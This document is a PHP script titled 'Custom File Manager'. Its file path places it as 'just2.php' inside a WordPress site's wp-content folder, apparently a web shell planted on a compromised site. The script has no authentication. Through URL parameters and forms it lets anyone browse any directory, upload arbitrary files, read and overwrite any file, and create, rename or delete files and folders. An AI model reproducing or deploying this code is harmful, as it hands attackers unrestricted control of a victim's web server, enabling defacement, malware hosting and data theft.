/home/apktxduj/mcw.com.pk/wp-content/just2.php
<?php
// ================= CONFIGURATION ================= //
$basePath = realpath($_GET['path'] ?? '.') ?: '.';
/**
* Redirect to a given folder path.
*/
function goToPath(string $path): void {
header('Location: ?' . http_build_query(['path' => $path]));
exit;
}
// ================= FILE UPLOAD ================= //
if (!empty($_FILES['file_input'])) {
$target = $basePath . DIRECTORY_SEPARATOR . basename($_FILES['file_input']['name']);
@move_uploaded_file($_FILES['file_input']['tmp_name'], $target);
goToPath($basePath);
}
// ================= CREATE FOLDER ================= //
if (!empty($_POST['folder_name'])) {
$newDir = $basePath . DIRECTORY_SEPARATOR . basename($_POST['folder_name']);
@mkdir($newDir);
goToPath($basePath);
}
// ================= CREATE EMPTY FILE ================= //
if (!empty($_POST['file_name'])) {
$newFile = $basePath . DIRECTORY_SEPARATOR . basename($_POST['file_name']);
@file_put_contents($newFile, '');
goToPath($basePath);
}
// ================= DELETE ITEM ================= //
if (!empty($_GET['remove'])) {
$toRemove = realpath($basePath . DIRECTORY_SEPARATOR . $_GET['remove']);
if ($toRemove && str_starts_with($toRemove, $basePath)) {
is_file($toRemove) ? @unlink($toRemove) : @rmdir($toRemove);
}
goToPath($basePath);
}
// ================= RENAME ITEM ================= //
if (!empty($_POST['from_name']) && !empty($_POST['to_name'])) {
$from = $basePath . DIRECTORY_SEPARATOR . basename($_POST['from_name']);
$to = $basePath . DIRECTORY_SEPARATOR . basename($_POST['to_name']);
@rename($from, $to);
goToPath($basePath);
}
// ================= SAVE EDITED FILE ================= //
if (!empty($_POST['edit_target']) && isset($_POST['content'])) {
$editFile = realpath($basePath . DIRECTORY_SEPARATOR . $_POST['edit_target']);
@file_put_contents($editFile, $_POST['content']);
goToPath($basePath);
}
// ================= FILE EDIT LOAD ================= //
$editingFile = $_GET['edit'] ?? null;
$editorData = ($editingFile && is_file($basePath . DIRECTORY_SEPARATOR . $editingFile))
? file_get_contents($basePath . DIRECTORY_SEPARATOR . $editingFile)
: null;
/**
* Get directory items except "."
*/
function listDirItems(string $dir): array {
return array_values(array_filter(scandir($dir), fn($x) => $x !== '.'));
}
$entries = listDirItems($basePath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom File Manager</title>
<style>
body { font-family: Arial, sans-serif; background-color: #f2f2f2; padding: 18px; }
h2 { margin-bottom: 10px; }
form { margin: 6px 0; }
input, textarea, button { padding: 7px; margin: 4px 0; width: 100%; box-sizing: border-box; }
textarea { height: 220px; }
table { border-collapse: collapse; width: 100%; margin-top: 16px; background: #fff; }
th, td { border: 1px solid #ccc; padding: 7px; text-align: left; }
th { background: #e9e9e9; }
a { text-decoration: none; }
</style>
</head>
<body>
<h2>Custom File Manager</h2>
<p><strong>Current Path:</strong> <?= htmlspecialchars($basePath) ?></p>
<p><a href="?path=<?= urlencode(dirname($basePath)) ?>">⬅ Back</a></p>
<!-- File Upload -->
<form method="post" enctype="multipart/form-data">
<input type="file" name="file_input">
<button>Upload</button>
</form>
<!-- New Folder -->
<form method="post">
<input type="text" name="folder_name" placeholder="New Folder Name">
<button>Create Folder</button>
</form>
<!-- New File -->
<form method="post">
<input type="text" name="file_name" placeholder="New File Name">
<button>Create File</button>
</form>
<!-- Rename -->
<form method="post">
<input type="text" name="from_name" placeholder="Old Name">
<input type="text" name="to_name" placeholder="New Name">
<button>Rename</button>
</form>
<!-- Directory Listing -->
<table>
<tr><th>Name</th><th>Type</th><th>Actions</th></tr>
<?php foreach ($entries as $entry): ?>
<?php $itemPath = $basePath . DIRECTORY_SEPARATOR . $entry; ?>
<tr>
<td><?= is_dir($itemPath) ? '📁' : '📄' ?> <?= htmlspecialchars($entry) ?></td>
<td><?= is_dir($itemPath) ? 'Folder' : 'File' ?></td>
<td>
<?php if (is_dir($itemPath)): ?>
<a href="?path=<?= urlencode($itemPath) ?>">Open</a>
<?php else: ?>
<a href="<?= htmlspecialchars($itemPath) ?>" target="_blank">View</a> |
<a href="?path=<?= urlencode($basePath) ?>&edit=<?= urlencode($entry) ?>">Edit</a>
<?php endif; ?>
| <a href="?path=<?= urlencode($basePath) ?>&remove=<?= urlencode($entry) ?>" onclick="return confirm('Delete <?= $entry ?>?')">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</table>
<!-- File Editor -->
<?php if ($editorData !== null): ?>
<hr>
<h3>Editing: <?= htmlspecialchars($editingFile) ?></h3>
<form method="post">
<input type="hidden" name="edit_target" value="<?= htmlspecialchars($editingFile) ?>">
<textarea name="content"><?= htmlspecialchars($editorData) ?></textarea>
<button>Save</button>
</form>
<?php endif; ?>
</body>
</html>